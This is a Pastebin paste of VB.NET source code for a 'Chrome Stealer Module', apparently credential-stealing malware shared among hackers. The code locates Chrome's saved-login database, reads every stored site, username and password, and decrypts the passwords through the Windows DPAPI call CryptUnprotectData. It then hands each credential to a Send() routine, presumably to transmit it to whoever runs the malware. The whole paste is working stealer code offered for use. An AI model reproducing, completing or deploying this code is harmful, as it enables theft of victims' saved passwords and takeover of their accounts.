Guest User

Untitled

a guest
May 2nd, 2016
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.14 KB | None | 0 0
  1. Imports System.Runtime.InteropServices
  2. Imports System.IO
  3. Imports System.Text
  4.  
  5. '============= Chrome Stealer Module coded by RockingWithTheBest =====
  6. '============ Repacked & re-released & re-uploaded by
  7. ' ________ .__
  8. ' / _____/______ |__|__ ___
  9. '/ \ ___\____ \| \ \/ /
  10. '\ \_\ \ |_> > |> <
  11. ' \______ / __/|__/__/\_ \
  12. ' \/|__| \/
  13. 'aka P!xel
  14. Module Chrome
  15. Public cPass As String
  16. Public Sub GetChrome()
  17. Try
  18. Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Login Data"
  19.  
  20.  
  21. Dim SQLDatabase = New SQLiteHandler(datapath)
  22. SQLDatabase.ReadTable("logins")
  23.  
  24. If File.Exists(datapath) Then
  25.  
  26. Dim host, user, pass As String
  27.  
  28. For i = 0 To SQLDatabase.GetRowCount() - 1 Step 1
  29. host = SQLDatabase.GetValue(i, "origin_url")
  30. user = SQLDatabase.GetValue(i, "username_value")
  31. pass = Decrypt(System.Text.Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")))
  32.  
  33. If (user <> "") And (pass <> "") Then
  34.  
  35. Threading.Thread.Sleep(2000)
  36. Send("PASS*" & host & "*" & user & "*" & pass & "*")
  37.  
  38. End If
  39. Next
  40.  
  41. End If
  42. Catch : End Try
  43. End Sub
  44. <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
  45. Private Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
  46. End Function
  47. <Flags()> Enum CryptProtectPromptFlags
  48. CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
  49. CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
  50. End Enum
  51. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
  52. Public cbSize As Integer
  53. Public dwPromptFlags As CryptProtectPromptFlags
  54. Public hwndApp As IntPtr
  55. Public szPrompt As String
  56. End Structure
  57. <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
  58. Public cbData As Integer
  59. Public pbData As IntPtr
  60. End Structure
  61. Function Decrypt(ByVal Datas() As Byte) As String
  62. Try
  63. Dim inj, Ors As New DATA_BLOB
  64. Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
  65. inj.pbData = Ghandle.AddrOfPinnedObject()
  66. inj.cbData = Datas.Length
  67. Ghandle.Free()
  68. CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
  69. Dim Returned() As Byte = New Byte(Ors.cbData) {}
  70. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
  71. Dim TheString As String = Encoding.Default.GetString(Returned)
  72. Return TheString.Substring(0, TheString.Length - 1)
  73. Catch : End Try
  74. End Function
  75.  
  76. End Module
Add Comment
Please, Sign In to add comment